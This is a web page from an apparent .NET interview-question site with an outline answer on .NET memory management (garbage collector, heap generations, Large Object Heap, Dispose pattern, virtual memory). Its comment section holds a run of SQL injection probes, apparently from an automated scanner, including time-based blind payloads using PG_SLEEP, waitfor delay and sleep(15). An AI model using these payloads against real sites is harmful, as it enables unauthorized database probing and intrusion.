Could you describe how is memory management done in .NET?

Experience Level: Senior
Tags: .NET.NET CoreASP.NET MVCASP.NET WebAPIASP.NET WebFormsC#

Answer

General overview

The garbage collector allocates and frees virtual memory for you on the managed heap.

Key ideas

  • CLR - Automatic memory management
  • Managed memory
  • Memory allocation
  • Releasing memory
  • Cleaning up unmanaged resources
  • Garbage collector (GC)
  • Managed heap
  • Large Object Heap - 85000 bytes+
  • Generations 0,1,2
  • IDisposable/Dispose pattern

Secret weapons

  • Value types are not always stored on stack.
  • Allocation on a stack is only "the stack pointer" modification.
  • Stack is just an implementation detail (think about other implementation of CLI=Common Language Infrastructure)

Memory concepts

  • Each process has its own, separate virtual address space.
  • By default, on 32-bit computers, each process has a 2-GB user-mode virtual address space.

Virtual memory

  • Free/Reserved/Committed
  • Virtual address space can get fragmented. This means that there are free blocks, also known as holes, in the address space.
  • You can run out of memory if you run out of virtual address space to reserve or physical space to commit.

 

Excellent links

You must read these (no excuses):

Related .NET job interview questions

Comments

No Comments Yet.
Be the first to tell us what you think.
.NET challenge
.NET challenge

Are you learning .NET ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e